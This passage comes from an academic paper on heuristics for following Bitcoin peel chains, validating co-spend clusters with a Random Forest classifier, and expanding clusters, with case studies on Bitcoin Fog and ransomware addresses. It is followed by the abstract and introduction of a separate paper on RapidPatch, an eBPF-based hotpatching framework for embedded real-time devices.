change. This pattern can then be repeated many times, with
each hop in the chain slowly “peeling” smaller values from
the original UTXO, until the remaining change amount is
small (at which point it can be combined with other small
UTXOs to create a large one and start the process over again).
In this work we consider more general peel chains in which
transactions might have more than one input and more than
two outputs. In fact, our only requirement is that each adjacent
hop in the peel chain is connected by a change output.

Peel chains are in some sense fundamental to UTXO-based
cryptocurrencies, which do not allow the partial spending of
transaction outputs. Given that it is highly unlikely for an
entity to have the exact amount they want to pay someone
associated with a UTXO, their payment inevitably forms a
change output that can in turn be used as input to a subsequent
payment. A second reason that peel chains are very common
in Bitcoin is more specific to bigger services, as we explore
in Section 6.2. In particular, it would be time-consuming,
error-prone, and inefficient for big services to craft thousands
of transactions manually. For these reasons, they naturally
perform transactions using scripts. This automated behavior
not only creates long peel chains but also creates patterns that
make these peel chains easier to identify and follow.

5.2 Identifying inputs and outputs

In order to follow peel chains, the first step is to link together
transactions according to their change outputs. Concretely,
this means introducing two algorithms: findNext, which aims
to identify the unique change output in a transaction, and
findPrev, which aims to identify the input(s) in a transaction
that originate from transactions conducted by the same en-
tity (as opposed to transactions in which that entity received
coins from another one). In its goal, findNext is comparable
to previous work that developed change identification heuris-
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tics [2,10,14,31]. As we describe in more detail in Section 7.2,
however, these previous works identify change outputs based
on the freshness of output addresses and the output values. In
contrast, findNext focuses on the index of the output (accord-
ing to changeC), the cluster’s features (according to TFC and
AFC), and the next hops of every output that has been spent.

We formally specify findNext and findPrev in Algorithms 1
and 2. Intuitively, both start with a transaction tx ∈ Ctx, and
aim to output either the next hop in this transaction’s peel
chain (findNext) or the previous hops (findPrev), according
to the features exhibited by the cluster.

findNext. For findNext, we first identify the set of outputs
that might represent the change output, according to the clus-
ter’s change strategy changeC (lines 1–6 in Algorithm 2).
If the change strategy is associated with a single output in-
dex i (either 0 or −1) then we include only that output in this
candidate set, while if it 1 we include both the first and last
outputs and if it is None we include all outputs. Next, for each
candidate change output output we check to see if:

1. The output is spent, meaning output.next 6=⊥.

2. The address has a type that exists within the cluster,
meaning featuresaddr(output.addr) ∈ AFC.

3. The next hop of the output has features that exist within
the cluster, meaning featurestx(output.next) ∈ TFC.

If each of these checks pass, we add the transaction in
which this output is spent to a set representing the possible
next hops in the peel chain (line 13). At the end, if there is
only one candidate transaction then we output it as the next
hop. If there are zero or multiple choices then we output ⊥ to
indicate that we are unsure of the change output.

We experimentally evaluate the accuracy of findNext in
Section 7.2, where we see it produces a very low number of
false positives. To see why, we consider that findNext incor-
rectly identifies the next hop in a peel chain only if two things
happen simultaneously: (1) the transaction either doesn’t pro-
duce a change output or the cluster deviates from its known
address and transaction features only in spending the change
output in tx, and (2) exactly one output that meaningfully
receives coins in tx has the same address features as C, and
produces the same transaction features when it spends the
received coins. In other words, an entity would have to change
its established behavior at the same time as it sends coins to
another entity with the exact same features. For the first point,
as we discussed above it is unlikely for a transaction to have
no change output given that one bitcoin is highly divisible (to
the eighth decimal place) and an entity would have to have
the exact amount (plus fees) that they wanted to pay someone
associated with a UTXO. As we saw in Section 4.2, clusters
are highly consistent in both their address and transaction

Algorithm 1: findNext

Result: nextTx
Input : tx, changeC, TFC, AFC

1 if changeC ∈ {0,−1} then
2 candidates←{tx.outputs[changeC]}
3 else if changeC = 1 then
4 candidates←{tx.outputs[0], tx.outputs[−1]}
5 else
6 candidates← tx.outputs
7 nextTx← /0

8 for output ∈ candidates do
9 bnext← (output.next 6=⊥)

10 baddr← (featuresaddr(output.addr) ∈ AFC)
11 btx← (featurestx(output.next) ∈ TFC)
12 if baddr∧bnext∧btx then
13 nextTx← nextTx∪{output.next}
14 if |nextTx|= 1 then
15 return nextTx[0]
16 else
17 return ⊥

features, which also makes deviations in their behavior un-
likely. For the second point, we also saw in Section 4.2 that
clusters are largely non-overlapping in their behavior (with
some exceptions).

In terms of false negatives, findNext fails to identify the
change output if either (1) it finds no suitable candidate or
(2) it finds more than one candidate. In the first case, the
cluster would need to either use a different change strategy
changeC (putting the change output at a different index from
expected) or use a different set of features in both the address
and the next transaction. In the second case, there needs to
be at least one receiving output that behaves in the same way
as C, in terms of having the same address and transaction
features. It also needs to be the case that C has changeC = 1
or changeC = None, because in the case where changeC = 0
or changeC = −1, there is no chance of findNext finding
multiple candidates since only one will be investigated. As
with false positives, the consistent and distinct qualities of
cluster features thus suggest that false negatives are relatively
unlikely to occur as well.

findPrev. Our second algorithm, findPrev, looks at the in-
puts to a transaction rather than at its outputs. In particular,
while the co-spend heuristic tells us that each input belongs
to the same entity, it may be the case that some of these in-
puts represent coins received from other entities. Our goal
is to be able to follow peel chains (which are created by a
single entity) backwards, which means findPrev must thus
isolate the previous transactions in which these inputs were
used as change outputs. This means that we first map each
input to a transaction tx to the transaction in which it was
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Algorithm 2: findPrev

Result: prevTxs
Input : tx, changeC, TFC, AFC

1 candidates0,candidates−1,candidates← /0

2 for input ∈ tx.inputs do
3 if featurestx(input.prev) ∈ TFC then
4 i← input.prevIdx
5 if i ∈ {0,−1} then
6 candidatesi← candidatesi∪{input.prev}
7 candidates← candidates∪{input.prev}
8 if changeC ∈ {0,−1} then
9 return candidateschangeC

10 else if changeC = 1 then
11 return candidates0∪ candidates−1
12 else
13 return candidates

created (input.prev) and to its index in the output list of that
transaction (input.prevIdx). We next filter out all previous
transactions that do not match the transaction features of the
cluster (line 3 in Algorithm 2), and then within this filtered
set keep track of all transactions (candidates), in addition to
all transactions in which one of the inputs was created at
either the first or last index (candidates0 and candidates−1
respectively). Then, as with findNext, we consider the change
strategy defined by the cluster and use it to decide which of
these candidate sets to return (lines 8–13).

The potential for false positives in findPrev is significantly
higher than for findNext, as the algorithm returns multiple
transactions rather than a single one. Thus, false positives
can occur if any of the entities sending coins in a previous
hop exhibits the same transaction features and follows the
same change strategy. In other words, we rely more heavily
on cluster features being distinct (as compared to findNext
where we also could count on their consistency), which as
we saw in Section 4.2 is not always the case. We discuss this
further in Section 7.

In terms of false negatives, findPrev fails to identify a
input.prev originating from the same cluster only if that
input.prev deviates in its transaction features or follows a
different changeC. Here again we can rely on the consistency
of cluster transaction features to argue that this is relatively
unlikely to happen.

5.3 Following transactions

With findNext and findPrev in place, we can define algo-
rithms for following peel chains forwards (followFwd) and
backwards (followBkwd). The ability to follow a transaction
both forwards and backwards allows us to capture the full peel
chain, regardless of the position of our starting transaction.
These algorithms are defined in Algorithms 3 and 4.

Algorithm 3: followFwd

Result: fwdTxstx,heur
Input : tx, heur, Ctx, changeC, TFC, AFC

1 fwdTxstx,heur← /0

2 txcur← tx
3 while txcur 6=⊥ do
4 if heur = validation ∧ txcur /∈ Ctx then
5 break
6 fwdTxstx,heur← fwdTxstx,heur∪{txcur}
7 txcur← findNext(txcur,changeC,TFC,AFC)

8 return fwdTxstx,heur

Algorithm 4: followBkwd

Result: bkwdTxstx,heur
Input : tx, heur, Ctx, changeC, TFC, AFC

1 bkwdTxstx,heur← /0

2 bkwdScope←{tx}
3 while |bkwdScope|> 0 do
4 txcur← bkwdScope[0]
5 bkwdTxstx,heur← bkwdTxstx,heur∪{txcur}
6 prevTxs← findPrev(txcur,changeC,TFC,AFC)
7 if heur = validation then
8 prevTxs← prevTxs∩Ctx

9 bkwdScope← bkwdScope∪{prevTxs}
10 return bkwdTxstx,heur

followFwd. To follow a transaction tx forwards, followFwd
continues going to the next hop in the peel chain, as identified
by findNext, until the peel chain ends or findNext otherwise
cannot identify a next hop. Along the way it adds the hops
to a set of transactions fwdTxstx, which it outputs at the end.
Line 4 of this algorithm includes a check that is specific
to our validation heuristic; we describe this modification in
Section 6.2 when we present that heuristic.

followBkwd. Following transactions backwards is more in-
volved than following them forwards, as findPrev outputs a
set of transactions rather than a single one. We can think of
followBkwd as performing a breadth-first search: it defines a
set of transactions to follow, which is initially set to be just
the starting transaction (line 2 of Algorithm 4). As long as
there are transactions left to follow, it picks the first of these,
adds it to the set, and looks at its previous hops according to
findPrev (line 6). It then adds these previous hops to the set of
transactions (line 9) and continues. Again, this algorithm con-
tains an additional check in the case of the validation heuristic
(line 7), which we describe in Section 6.2.
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6 Cluster Validation

Currently, the clusters output by the co-spend heuristic are
largely treated as ground truth, despite the fact that there
exist techniques such as Coinjoin that invalidate them. In this
section, we thus investigate ways to improve one’s confidence
in the results of this heuristic. In particular, we explore two
approaches, each of which is applicable in a different scenario.

Our first approach, described in Section 6.1, is a classifier
for co-spend clusters that attempts to distinguish between TP
and FP clusters. This type of classifier can implicitly be re-
alized by a Coinjoin detection mechanism, such as the one
implemented in BlockSci, and indeed when we implement this
approach we find it achieves 87.5% accuracy. Our classifier,
which is based on Random Forest, achieves 89.2% accuracy.
It achieves, however, a much lower false negative rate (10% as
compared to 20%), which in turn lowers the risk of an investi-
gator or researcher making an incorrect assumption about the
results of the co-spend heuristic. Furthermore, our classifier
is more robust as it depends on the behavior of entities in
general rather than just the characteristics of a single Coinjoin
transaction (which can be changed by a Coinjoin service such
as JoinMarket to avoid detection).

Our second approach, described in Section 6.2, links to-
gether transactions within the same co-spend cluster that our
heuristics from Section 5 identify as belonging to the same
peel chain. In doing so, we increase our confidence that these
transactions were indeed performed by the same entity. More-
over, if we run it for every transaction in the cluster then we
see that TP and FP clusters have different behaviors in terms
of how many distinct peel chains they contain.

6.1 Cluster classification

Based on the transaction characteristics defined in Sec-
tion 4.1.1, we computed aggregated cluster-level features. For
the SegWit and locktime features, we calculated the fraction
of transactions in the cluster that had this value set to true
(prop_segwit_enabled and prop_locktime_enabled re-
spectively). For the version feature, we calculated the propor-
tion of version 1 transactions (prop_v1). We did not compute
a feature column for version 2 transactions to avoid multi-
collinearity issues, since prop_v2 is given by 1−prop_v1.
Within each cluster we also determined the proportion of all
available input address types (as defined in Section 4.1.2).
These values were aggregated to a single feature using the
maximal value (address_type_max_prop). Finally, the clus-
ter feature (defined in Section 4.1.3) was transformed into two
classes (change_strategy): no change strategy (changeC =
None), or an identified change strategy on either the first or
last output (changeC ∈ {−1,0,1}).

Due to the small sample size (60 FP and 60 TP samples),
we selected classification models that do not require extensive
hyper-parameter tuning and tend to perform very well in a

Statistic RF Conditional RF

Mean accuracy 0.892 0.842
Standard error 0.017 0.031

Table 2: Performance of our Random Forest model after 5-
fold cross-validation.

default setting [28]. We applied Random Forest (RF) [6, 28],
which is a popular and powerful machine learning method.
RF is an advancement of single classification and regression
trees (CART [7]). As compared to CART, RF can handle
a large number of covariates effectively without overfitting
and are able to account for correlation as well as interactions
among features. Another important property of RF is that it
immediately provides internal variable importance measures
that can be used to rank covariates. For fitting of the CART-
based RF approach, we used the implementation in the R-
package ranger [52]. As an alternative, we also applied the
cforest implementation from the package party [47, 48].

6.1.1 Classification results

We fit RF models with 500 trees to the dataset consisting of the
features described above and using the cluster type (TP/FP) as
the target variable. First, we fit the models to the full dataset
and analyzed the intrinsic variable importance measures. Ac-
cording to both the CART-based RF and the cforest model,
the most important features were the proportion of SegWit
transactions, the proportion of version 1 transactions, and the
proportion of transactions with enabled locktime.

For training and testing of the models we implemented
a cross-validation (CV) procedure. Accuracy, meaning the
proportion of correctly classified instances, was chosen as a
model performance evaluation metric. The mean accuracy
values and their associated standard errors after a 5-fold CV
are shown in Table 2, and the ROC curve is in Figure 2. We
obtain a mean accuracy between 84% and 89%. According to
the standard errors, these values are also relatively stable on
the CV-testing folds.

Overall, while our classifier would of course benefit from
extended experimentation with a larger dataset, these results
and the high level of accuracy suggest that it would be pos-
sible to deploy this method in the manner suggested earlier
in this section; i.e., for an investigator to use it to gain some
confidence in the results of the co-spend heuristic at an early
stage in an investigation.

6.1.2 Comparison with BlockSci

To compare our approach to the current state of the art, we ex-
plore the Coinjoin detection feature available in BlockSci [23]
as the function isCoinjoin. This function works at the level
of transactions, meaning given a transaction it outputs 0 or
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Figure 2: The ROC curve for our Random Forest model
(AUC=0.923).

Truth Class error

Prediction FP TP
FP 54 7 11.5 %
TP 6 53 10.2 %

(a) Confusion matrix of our RF model (summed values after 5-
fold CV).

Truth Class error

Heuristic FP TP
FP 48 3 5.9 %
TP 12 57 17.4 %

(b) Confusion matrix for the BlockSci classifier.

Table 3: Comparison of classification results.

1 according to whether or not it seems to be a Coinjoin, as
identified by a heuristic developed by Goldfeder et al. [14].

Using this function, we define a cluster-level classifier by
saying that if any transaction in the cluster is flagged as a
Coinjoin, the entire cluster is a false positive. We tested this
classifier on our full dataset of TP and FP clusters; the re-
sults are in Table 3b. As we can see, both BlockSci and our
classifier have high accuracy (87.5% and 89.2% respectively),
with BlockSci having twice as many false negatives and our
classifier having more false positives (7 as compared to 3).
As argued earlier, the false negative rate is more crucial in
our imagined use case, as a false negative could cause an
investigator to believe that a cluster represents a single entity
when in fact it does not. Furthermore, the fact that our clas-
sifier is based on all of the features within a cluster makes it
more robust than our constructed BlockSci classifier, which

depends only on the features of a single transaction and can
thus be easily evaded by constructing Coinjoins without these
specific features.

6.2 A validation heuristic
Our second method for increasing the confidence we have in
a cluster focuses less on the cluster as a whole and more on
the connections between individual transactions. In particular,
we utilize the heuristics defined in Section 5 to partition the
transactions of a cluster into peel chains.

6.2.1 Defining the heuristic

Our starting point is a co-spend cluster C, represented by the
tuple (Caddr,Ctx). Next, we run followFwd and followFwd
with the parameter heur = validation for every tx ∈ Ctx. Cru-
cially, this parameter means that we do not follow any trans-
actions that are not already in the cluster. For a given tx this
gives us the sets fwdTxstx,validation and bkwdTxstx,validation,
which collectively represent all transactions within the cluster
that lie along the same peel chain as the starting one. We
denote the union of these two sets as PchainV(tx).

After obtaining the set {PchainV(tx)}tx ∈ Ctx of all such
peel chains, we noticed that some peel chains contained over-
lapping but not identical sets of transactions, according to the
starting transaction tx. We thus merged these overlapping peel
chains in a transitive fashion to end up with a set of distinct
peel chains, PchainV(C), that is a partition of all transactions
in the cluster. To measure the overall tendency for a cluster to
form peel chains, we use the value ValC = |PchainV(C)|

|Ctx| , which
is closer to 1 if a cluster consists of many peel chains and
closer to 0 if it consists of fewer.

Our validation heuristic then says that for any two transac-
tions tx1, tx2 ∈ PchainV for PchainV ∈ PchainV(C) (i.e., two
transactions that are part of the same cluster and part of the
same peel chain), we can have higher confidence that they
were performed by the same entity than for two transactions
tx1, tx2 ∈ Ctx.

6.2.2 Applying the heuristic

It is not possible to assess the accuracy of our validation
heuristic directly, as we do not have the relevant ground-truth
data. For our FP clusters, for example, we knew that they
contained at least one Coinjoin but did not have any infor-
mation about the other transactions (and indeed for some FP
clusters it was clear they contained other Coinjoins beyond
the ones we were given). For our TP clusters, we knew that
all transactions were performed by the same entity but not if
they represented the same peel chain.

Instead, we used our validation heuristic to understand the
behavior of our TP and FP clusters. To this end, we ran the
validation heuristic for each of our clusters and looked at the
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Figure 3: For our 60 TP and FP clusters, the distribution of
|ValC| (the color of the bar), with the clusters ordered from
left to right by |Ctx| (the height of the bar, on a log scale.

resulting value of ValC. As our results in Figure 3 show, the
FP clusters had significantly higher values of ValC on average:
0.43 as compared to 0.14 for TP clusters. Overall, ValC did
not increase with the size of the cluster, despite the possible
expectation that clusters with a higher number of transactions
would form a higher number of peel chains. This suggests
instead that bigger clusters tend to be more predictable in
terms of their behavior, which is perhaps not surprising if we
consider that the operators of these big clusters use automated
scripts in order to form their transactions.

In terms of using this heuristic in practice, there are cur-
rently several nested services [8] that operate using accounts
maintained at a variety of different exchanges. Using just the
co-spend heuristic, these nested services would thus appear
to be operated by the same entity as the exchange they use.
Using our validation heuristic, however, it would be possible
to separate out the activities of these nested services (which
would likely form their own peel chains) from the activities
of the exchange itself.

Furthermore, while we defined our validation heuristic for
pairs of transactions, as we can see in Figure 3 a lower value
of ValC can also increase our confidence in the cluster overall.
This is difficult to quantify given our current source of ground
truth, however, so we leave as open work a more thorough
evaluation of the impact of this heuristic on overall cluster
confidence.

7 Expanding Clusters

Our expansion heuristic is structurally similar to our valida-
tion heuristic, in that it is also based on the ability to identify
peel chains, but it has a different goal: to identify new trans-
actions that were not already in the cluster but for which we

nevertheless have high confidence that they were formed by
the same entity. In this approach, this heuristic more closely
resembles previous change heuristics in the literature.

7.1 Defining the heuristic

As with the validation heuristic, our starting point is a co-
spend cluster C represented by a tuple (Caddr,Ctx). Next,
we run followFwd and followBkwd with the parameter
heur = expansion for every tx ∈ Ctx. This gives us the sets
fwdTxstx,expansion and bkwdTxstx,expansion for every tx, which
still represent the set of all transactions that lie along the same
peel chain as tx but crucially may contain transactions that
are not already in the cluster. We denote the union of these
sets, representing all identified transactions, as Txsexpansion
and denote by expansionC the set of newly identified trans-
actions; i.e., the ones that weren’t already in the cluster
(Txsexpansion \Ctx). Our expansion heuristic then says that
all transactions in expansionC were carried out by the same
entity represented by the cluster.

After defining this heuristic, our goal was to identify its ac-
curacy and effectiveness. To measure effectiveness we defined
the expansion factor Expsn as the increase of a cluster’s cov-
erage in terms of its number of transactions (100 · |expansionC||Ctx| ).
To measure accuracy, we treated as ground truth the set of tags
provided to us in the Chainalysis Reactor tool,2 which are tags
that are gathered internally by Chainalysis and from public
websites and documents. In particular, for each transaction in
expansionC, if Chainalysis had tagged it as belonging to an
entity then we considered it a false positive. If it had no tag for
the transaction, we considered it an unknown positive; i.e., we
could not be sure that the transaction was formed by the same
entity, but there was at least no evidence to the contrary. We
then considered the false discovery rate FDR as the number
of false positives divided by the size of expansionC (which
is the standard definition for false discovery rate if we treat
unknown positives as true positives).

In running the heuristic in its basic form, however, we en-
countered two problems. First, because previous transactions
were not filtered out in followBkwd in the way they were for
the validation heuristic, the set bkwdScope was significantly
larger and it became computationally infeasible to run the
algorithm for longer peel chains. Second, including so many
transactions also increased the possibility of encountering a
false positive, as discussed in Section 5.2, and thus made the
algorithm more prone to error. For both of these reasons we
decided to limit our expansion heuristic and only follow peel
chains forwards using followFwd.

After running this version of our heuristic, we achieved
an FDR of 0.62%, which was already quite low relative to
the other heuristics (as we see below in Section 7.2). Never-
theless, after manually inspecting some of the false positive

2https://www.chainalysis.com/chainalysis-reactor/
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Figure 4: Evaluation of findNext and the modified algorithm
findNext2 for the ten TP clusters with the initial highest FDR,
with the number of transactions on a log scale.

transactions, we observed that the main cause was following
outputs to transactions with multiple inputs that were in turn
part of a bigger cluster. We thus added an extra condition
into findNext requiring that the inputs in the next hop next
represented the entirety of the addresses in their cluster. In
other words, we added only those transactions whose inputs
were only ever co-spent with each other. We call this modified
change heuristic findNext2.

To illustrate the effect of this modification, Figure 4a shows
the ten TP clusters for which findNext had the highest FDR
and thus performed the least well. We then re-ran expansion
using findNext2; Figure 4b shows the results for the same ten
clusters. As we can see, in eight of the clusters, findNext2
eliminated all false positives, at the cost of missing a relatively
small number of unknown positives.

7.2 Evaluating the heuristic
In order to best evaluate our expansion heuristic, we sought
to compare it with previous change heuristics.

Androulaki et al. [2] identify the change output in a trans-
action tx if (1) the transaction has exactly two outputs, and
(2) it has the only fresh address in tx.outputs, meaning

Heuristic Expsn FDR

findNext 147.43 0.62
findNext2 124.46 0.02
Androulaki et al. [2] 93.03 64.19
Meiklejohn et al. [31] 79.94 51.64
Goldfeder et al. [14] 73.7 48.7
Ermilov et al. [10] 28.6 12.7

Table 4: The expansion factor and false discovery rate of
findNext and findNext2, as evaluated on our 60 TP clusters
and as compared with previous change heuristics. Both met-
rics are averaged across all clusters.

output.addr is the only one appearing for the first time in
the blockchain.

Meiklejohn et al. [31] identify the change output in a trans-
action tx if (1) it has the only fresh address in tx.outputs;
(2) tx is not a coin generation; and (3) there is no self-
change address in tx.outputs, meaning no address used as
both an input and an output.

Goldfeder et al. [14] use the same conditions as the one by
Meiklejohn et al. but additionally require that (4) the trans-
action tx is not a Coinjoin.

Ermilov et al. [10] were the first to consider not only the
behavior of the outputs and their addresses but also the
value they received. They identify the change output in a
transaction tx if (1) the transaction has exactly two outputs;
(2) the transaction does not have two inputs; (3) there is no
self-change address; (4) the output has the only fresh ad-
dress in tx.outputs; and (5) the output’s value is significant
to at least the fourth decimal place.

We implemented each of these heuristics and ran the expan-
sion heuristic on each of our 60 TP clusters using these algo-
rithms as well as our own algorithms findNext and findNext2.
The results, in terms of false discovery rate (FDR) and expan-
sion factor (Expsn), are in Table 4.

As Table 4 shows, our heuristics achieve both a signifi-
cantly lower false positive rate than all previous heuristics
and a significantly higher expansion rate. The heuristics from
Androulaki et al. and Meiklejohn et al. have the highest false
discovery rates, which is somewhat expected given that Bit-
coin has changed considerably since they were introduced in
2013. As might also be expected, the heuristic from Goldfeder
et al. achieved similar results to the one from Meiklejohn et
al., with the extra Coinjoin requirement reducing both the ex-
pansion and the false positive rates by a small amount. Finally,
Ermilov et al. achieved the lowest FDR of the four because
of the stricter conditions of their heuristic, but this came at
the expense of having the lowest expansion rate.
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7.3 Case studies
To test our expansion heuristic in practice, we sought to run
it for clusters that had been associated with known illicit
activities.

7.3.1 Bitcoin Fog

To start, we looked at a recent case against Roman Sterlingov,
who was accused of being the operator of the Bitcoin Fog
mixing service for almost 10 years [16]. According to the
affidavit of an IRS special agent [4], one of the main pieces of
evidence against Sterlingov was the connection of a deposit
made in 2011 to the Bitcoin Fog cluster (tx3 in Figure 5)
with a withdrawal from the Mt. Gox exchange cluster (tx1),
in which Sterlingov had an account using his real name.

We first checked whether or not the cluster that received the
coins from Mt. Gox was the same as the cluster that sent the
coins to Bitcoin Fog, in order to check if it would be possible
to link tx1 with tx3 based solely on the co-spend heuristic.
This was not the case, however, meaning it was necessary to
take intermediate transactions into account.

We then followed the funds from the Mt. Gox withdrawal
forwards, using followFwd, to see if we would reach the de-
posit to Bitcoin Fog. Both findNext and findNext2 failed
after only one hop, however, as the two outputs in tx2 had the
same address features and were spent in transactions with the
same features. Our algorithms were thus unable to isolate the
change output. These outputs were both furthermore fresh,
meaning it was their first appearance in the blockchain, so the
other change heuristics described in Section 7.2 also would
have been unable to follow the transaction forwards.

We thus worked backwards instead; i.e., we started with the
deposit to Bitcoin Fog and followed the funds backwards to
see if we would eventually find the withdrawal from Mt. Gox.
While running followBkwd for all transactions in a cluster was
computationally infeasible, it was possible to do it here as we
started with only a single transaction. Indeed, after seven hops,
we ended up with tx1 in our set bkwdTxstx3,expansion. While
this same analysis was likely done manually by the IRS agent,
this would quickly become infeasible if there were more inter-
mediate hops; furthermore, manual analysis is arguably more
error-prone as it is subject to human judgment.

While successful in this case, it is important to remem-
ber our discussion in Section 5.2 that followBkwd is more
prone to false positives than followFwd. Indeed, in 2011 all
transactions had the same features (as the ones we use were
not introduced until years later), meaning followBkwd could
continue backwards indefinitely without ever registering a
change in the entity performing the transactions. In our case,
the paths from the last three deposits in tx3 all led back to
the same origin (the second output in tx1), which in turn sent
all its money to these three inputs and two unspent UTXOs,
meaning we could be more sure in the link between the two.
While care must thus be taken when using followBkwd in this

way, applying it to a present-day scenario would likely be
more safe as transactions would be expected to have a more
diverse set of features.

7.3.2 Tracking ransomware addresses

We next looked at a broader set of addresses associated with
ransomware. On December 22, 2021 we scraped the ‘Ran-
somware Help & Tech Support‘ forum of Bleeping Com-
puter,3 a well known and actively used resource. We extracted
Bitcoin addresses from 627 posts between October 2013 and
December 2021. Of the addresses, 410 were distinct and 213
of these were never used, indicating that those victims did not
pay the ransom.

For the remaining 197 addresses, we began by identifying
their co-spend clusters. For 75 addresses, this cluster was a sin-
gleton, meaning it was a one-time address. For 102 addresses,
the cluster was relatively small (58 addresses on average).
For 20 addresses, the resulting cluster was very large, with
an average size of 2.9 million addresses. This suggested that
these addresses belonged to a large service rather than an
individual, indicating that those ransomware operators used a
custodial solution (such as an exchange) rather than run their
own wallet. To confirm this, we obtained the category of the
tags for these clusters from Chainalysis and found that they
all belonged to either an exchange, a hosted wallet service, a
mixing service, or a darknet market. We thus excluded these
clusters from our analysis.

The remaining 177 addresses were associated with 52 dif-
ferent ransomware families, with Dharma and Xorist appear-
ing the most frequently (with 38 and 11 addresses respec-
tively), and formed 169 distinct co-spend clusters. For each of
these clusters we applied and evaluated our expansion heuris-
tic (using findNext2). Across all clusters, the average expan-
sion factor was 257.5, with a maximum expansion factor of
3400 for a CrypMIC cluster. There were 32 clusters that
did not expand at all, belonging to 20 different ransomware
families; 23 of these were singleton clusters. In addition to
expanding the clusters, for each hop we followed we also col-
lected the counterparty addresses; i.e., the non-change output
addresses that represented the entity or entities to whom the
peel chain operator sent coins. In total we collected 91,493
counterparty addresses, 88,518 of which were distinct. The
vast majority (96%) of these counterparty addresses were
one-time addresses. This is consistent with them belonging
to services like exchanges, which typically provide one-time
deposit addresses, but does not clearly imply this as there are
many other reasons why one-time addresses occur.

While the original co-spend clusters were all distinct in
terms of their associated ransomware family, after perform-
ing the expansion heuristic the clusters of two ransomware
families (and only two) merged: Dharma and Phobos. When

3https://www.bleepingcomputer.com/forums/f/239/
ransomware-help-tech-support/
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tx1
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Figure 5: Transactions representing the link between a withdrawal from Mt. Gox (tx1) and a deposit into Bitcoin Fog (tx3), with
an additional transaction of interest, tx2, highlighted in blue. The gray nodes represent multiple UTXOs of the same address and
transaction outputs with a dashed outline are unspent.

we analyzed the counterparty addresses of these clusters as
well, we observed that one of the addresses in the expanded
Phobos cluster was also one of the counterparty addresses for
a Dharma cluster; i.e., an address that our expansion heuristic
tagged as belonging to Phobos was also tagged as a coun-
terparty in a peel chain formed by the Dharma ransomware
operator. In fact, this address was a counterparty 83 times,
making it the most frequently used counterparty across all
Dharma peel chains. Furthermore, in several of the hops in
this peel chain both transaction outputs were fresh, meaning
they could not have been followed by any previous change
heuristic. While further investigation is of course needed, this
is in line with the hypothesis that these ransomware families
are operated by the same entity [37].

8 Limitations and Countermeasures

Both our heuristics and our classifier could be made signif-
icantly less effective by a motivated party randomizing the
features of their transactions and addresses. Performing this
randomization requires a relatively high level of technolog-
ical sophistication and familiarity with Bitcoin but does not
incur any computational or monetary costs, and would be
effective in making it either impossible to follow hops in a
peel chain (because their features would be randomized and
thus not match the expected behavior) or make the features
associated with a cluster so varied that any attempt to follow
its transactions would be likely to result in a false positive.
Transactions that are private and internal to the ledger of some
large entity (like an exchange) would also make it impossible
for our heuristics, which rely on public blockchain data, to
work. Given this, investigators should not rely on the output
of either our heuristics or our classifier as definitive evidence.

All previous clustering heuristics share these limitations,
however, and are still broadly effective in practice due to the
fact that many entities lack either the motivation or the techni-
cal ability to evade them. For example, exchanges and other

regulated entities have no reason to evade these heuristics, and
previous research has shown that the ability to identify their
transactions has a knock-on effect in terms of anonymity even
for participants who do actively try to perform such evasions.

Just as with previous clustering heuristics, the heuristics
presented here may also become less effective as Bitcoin
evolves. As discussed in Section 5.2, our heuristics produce
few false positives due to the fact that many entities are con-
sistent in their behavior and are largely non-overlapping in
terms of their features. If all entities had the same features
then our heuristics would stop working, and similarly if many
entities had the same features and were less consistent in
their behavior then our heuristics might produce more false
positives. As a concrete example, a recent pull request in the
main Bitcoin repository4 ensures that the type of the change
address matches exactly the type of the counterparty address.
If this version of the wallet software were adopted by every
entity in the Bitcoin ecosystem, it would make our address
heuristic entirely ineffective (although our transaction and
change heuristics would still work).

9 Conclusion

In this paper, we presented heuristics to expand and validate
the applicability of widely used Bitcoin clustering heuris-
tics, using a balanced ground-truth dataset to evaluate them.
While this research arguably further reduces anonymity in
Bitcoin, we believe that it ultimately benefits the develop-
ers and users of this project in revealing the extent to which
tracking flows of bitcoins is possible and motivating further
research into improved anonymity protocols. As an imme-
diate countermeasure, users who are concerned about their
privacy can switch to more privacy-focused cryptocurren-
cies such as Zcash and Monero, although previous work has
shown that even these are subject to some degree of de-
anonymization [24, 27, 34, 55].

4https://github.com/bitcoin/bitcoin/pull/23789
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Abstract
Nowadays real-time embedded devices are becoming one
main target of cyber attacks. A huge number of embedded
devices equipped with outdated firmware are subject to var-
ious vulnerabilities, but they cannot be timely patched due
to two main reasons. First, it is difficult for vendors who
have various types of fragmented devices to generate patches
for each type of device. Second, it is challenging to deploy
patches on many embedded devices without restarting or halt-
ing real-time tasks, hindering the patch installation on devices
(e.g., industrial control devices) that have high availability
requirements. In this paper, we present RapidPatch, a new
hotpatching framework to facilitate patch propagation by in-
stalling generic patches without disrupting other tasks run-
ning on heterogeneous embedded devices. RapidPatch allows
RTOS developers to directly release common patches for all
downstream devices so that device maintainers can easily
generate device-specific patches for different firmware. We
utilize eBPF virtual machines to execute patches on resource-
constrained embedded devices and develop three hotpatching
strategies to support hotpatching for all major microcontroller
(MCU) architectures. In particular, we propose two types of
eBPF patches for different types of vulnerabilities and develop
an eBPF patch verifier to ensure patch safety. We evaluate
RapidPatch with major CVEs on four major RTOSes running
on different embedded devices. We find that over 90% vulner-
abilities can be hotpatched via RapidPatch. Our system can
work on devices with 64 KB or more memory and 64 MHz
MCU frequency. The average patch delay is less than 8 µs
and the overall latency overhead is less than 0.6%.

1 Introduction

Real-time operating systems (RTOSes) used in
microcontroller-based embedded devices do not put
enough emphasis on security, considering that those devices
are typically isolated and disconnected from the world and
thus can hardly be accessed remotely. However, with the

increasing market growth of Internet of Things (IoT), the con-
nected embedded devices running RTOS (e.g., FreeRTOS [5],
Zephyr [26]) have been widely used in many areas, such
as medical devices, industry devices, critical infrastructure
systems, and Smart Homes. Meanwhile, cyber-attacks have
emerged and proliferated on these embedded devices. Quite
a few recently discovered vulnerabilities, such as those
reported in RIPPLE20 [21] and AMNESIA33 [6], have
affected hundreds of millions of devices [10]. Thus, it is
critical to timely fix the vulnerabilities on embedded devices
to minimize the exploiting window.

Current IoT vendors need to support heterogeneous de-
vices with different specifications and architectures that are
manufactured on various product lines. Yet, it is challeng-
ing to safely merge the upstream security patches to fix the
vulnerabilities on these devices, even though they may share
the same RTOS/libraries. First, it is time consuming to apply
source code patches since the devices maintainers need to
recompile and test the post-merging firmware. Second, ex-
isting firmware deployment solutions often introduce a long
service downtime, which is unacceptable to the embedded
devices used in time-critical industry (e.g., power grid) or
medical cares (e.g., cardiovascular implantable devices [31]).
